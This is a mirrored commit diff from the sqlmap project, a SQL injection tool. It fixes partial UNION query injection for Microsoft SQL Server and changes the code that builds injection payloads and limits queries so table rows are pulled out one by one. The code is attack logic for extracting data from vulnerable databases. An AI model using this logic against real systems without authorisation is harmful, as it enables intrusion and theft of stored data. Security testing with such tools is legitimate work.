mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-02-16 19:40:37 +03:00
Major bug fix to make partial UNION query sql injection work properly
also on Microsoft SQL Server
This commit is contained in:
parent
064029cb2d
commit
1f7810e46a
|
@ -81,6 +81,14 @@ class Agent:
|
|||
return retValue
|
||||
|
||||
|
||||
def fullPayload(self, query):
|
||||
query = self.prefixQuery(query)
|
||||
query = self.postfixQuery(query)
|
||||
payload = self.payload(newValue=query)
|
||||
|
||||
return payload
|
||||
|
||||
|
||||
def prefixQuery(self, string):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
|
@ -396,32 +404,32 @@ class Agent:
|
|||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[:conditionIndex]
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += "%s" % query
|
||||
inbandQuery += query
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
|
||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[conditionIndex:]
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[conditionIndex:]
|
||||
|
||||
if " ORDER BY " in inbandQuery and "(SELECT " in inbandQuery:
|
||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
||||
inbandQuery += inbandQuery[orderIndex:].replace(")", "")
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
if " ORDER BY " in inbandQuery:
|
||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
||||
inbandQuery = inbandQuery[:orderIndex]
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
|
||||
def limitQuery(self, num, query, fieldsList=None):
|
||||
def limitQuery(self, num, query, field):
|
||||
"""
|
||||
Take in input a query string and return its limited query string.
|
||||
|
||||
|
@ -436,8 +444,8 @@ class Agent:
|
|||
@param query: query to be processed
|
||||
@type query: C{str}
|
||||
|
||||
@param fieldsList: list of fields within the query
|
||||
@type fieldsList: C{list}
|
||||
@param field: field within the query
|
||||
@type field: C{list}
|
||||
|
||||
@return: limited query string
|
||||
@rtype: C{str}
|
||||
|
@ -453,13 +461,12 @@ class Agent:
|
|||
limitStr = queries[kb.dbms].limit % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
# TODO: fix for Partial UNION query SQL injection technique both
|
||||
# Oracle and Microsoft SQL Server
|
||||
# TODO: fix Partial UNION query SQL injection technique for Oracle
|
||||
elif kb.dbms == "Oracle":
|
||||
if query.startswith("SELECT "):
|
||||
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||
else:
|
||||
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(field for field in fieldsList), limitStr)
|
||||
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, field, limitStr)
|
||||
limitedQuery = limitedQuery % fromFrom
|
||||
limitedQuery += "=%d" % (num + 1)
|
||||
|
||||
|
@ -469,9 +476,9 @@ class Agent:
|
|||
limitedQuery = limitedQuery[:untilOrderChar]
|
||||
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
|
||||
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||
|
||||
return limitedQuery
|
||||
|
||||
|
|
|
@ -70,13 +70,23 @@ def __goInference(payload, expression):
|
|||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
|
||||
outputs = []
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
|
||||
outputs = []
|
||||
origExpr = None
|
||||
|
||||
for field in expressionFieldsList:
|
||||
output = None
|
||||
|
||||
if isinstance(num, int):
|
||||
origExpr = expression
|
||||
expression = agent.limitQuery(num, expression, field)
|
||||
|
||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||
|
||||
if " ORDER BY " in expressionReplaced and "(SELECT " in expressionReplaced:
|
||||
orderIndex = expressionReplaced.index(" ORDER BY ")
|
||||
expressionReplaced += expressionReplaced[orderIndex:].replace(")", "")
|
||||
|
||||
output = resume(expressionReplaced, payload)
|
||||
|
||||
if not output or ( expected == "int" and not output.isdigit() ):
|
||||
|
@ -87,6 +97,9 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||
|
||||
output = __goInference(payload, expressionReplaced)
|
||||
|
||||
if isinstance(num, int):
|
||||
expression = origExpr
|
||||
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
@ -252,9 +265,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||
|
||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
|
|
@ -261,7 +261,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||
return
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||
orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
|
||||
|
||||
if orderBy:
|
||||
field = orderBy.group(1)
|
||||
else:
|
||||
field = expressionFieldsList[0]
|
||||
|
||||
limitedExpr = agent.limitQuery(num, expression, field)
|
||||
output = unionUse(limitedExpr, direct=True, unescape=False)
|
||||
|
||||
if output:
|
||||
|
|
Loading…
Reference in New Issue
Block a user